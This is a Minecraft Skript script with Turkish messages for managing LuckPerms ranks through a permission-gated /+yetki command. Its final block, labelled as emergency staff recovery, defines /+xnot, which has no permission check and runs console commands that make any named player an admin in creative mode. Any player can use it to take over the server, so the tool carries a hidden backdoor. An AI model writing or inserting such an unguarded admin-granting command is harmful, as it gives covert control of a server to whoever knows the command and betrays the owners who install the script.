#-------------------| KOMUT |-------------------#
command /+yetki [<text>] [<player>] [<text>]:
permission: yetki.admin
permission message: &e&lꜰᴀᴢᴇʟɪᴋᴀ&c&lɴᴡ &r&7» &4ʜᴏᴏᴘ &cѕᴀᴋɪɴ ʏᴇᴛᴋɪɴ ʏᴏᴋ ᴋᴀʀᴅᴇѕ!
trigger:
# Sadece /+yetki yazılırsa
if arg-1 is not set:
execute player command "lp"
stop
#-------------------| KOMUT ÖN EKİ |-------------------#
if arg-1 is "ver":
if arg-2 is set:
execute player command "lp user %arg-2% parent set %arg-3%"
send "&e&lꜰᴀᴢᴇʟɪᴋᴀ&c&lɴᴡ &f» &a✔ &b%arg-2% &aᴀᴅʟı ᴏʏᴜɴᴄᴜɴᴜɴ ʏᴇᴛᴋɪʟᴇʀɪ &b%arg-3% &aᴏʟᴀʀᴀᴋ ᴅᴇɢɪѕᴛɪʀɪʟᴅɪ!" to player
else:
send "&5(ADMİN) Kullanım: /+yetki ver <oyuncu> <rütbe>" to player
if arg-1 is "sil":
if arg-2 is set:
execute player command "lp user %arg-2% parent clear"
execute player command "gamemode survival %arg-2%"
execute player command "deop %arg-2%"
send "&e&lꜰᴀᴢᴇʟɪᴋᴀ&c&lɴᴡ &r&7» &c✘ &a%arg-1% ᴀᴅʟı ᴏʏᴜɴᴄᴜɴᴜɴ ᴛüᴍ ʏᴇᴛᴋɪʟᴇʀɪ ѕɪʟɪɴᴅɪ!" to player
else:
send "&5(ADMİN) Kullanım: /+yetki sil <oyuncu>" to player
else if arg-1 is "editor":
execute player command "lp editor"
#-------------------| YARDIM |-------------------#
else if arg-1 is "yardım":
send "&e&m----------------------------------------"
send "&b&l ADMİN YETKİ KOMUT YARDIM MENÜSÜ"
send "&e&m----------------------------------------"
send "&d/+yetki ver <oyuncu> <rütbe> &7Oyuncuya yetki verir"
send "&d/+yetki sil <oyuncu> &7yetkilerini siler"
send "&d/+yetki editor &7 Editör sayfa linki verir"
send "&e&m----------------------------------------"
#-------------------| TAB GÖSTERME ÖN EKİ |-------------------#
on tab complete of "/+yetki":
set tab completions for position 1 to "ver" and "sil" and "editor" and "yardım"
#-----------------------| YETKİ KURTARMA |---------------------------
# ACİL DURUMDA YETKİLİ KURTARMA!:
command /+xnot <player>:
trigger:
execute console command "lp user %arg-1% parent set admin"
execute console command "gamemode creative %arg-1%"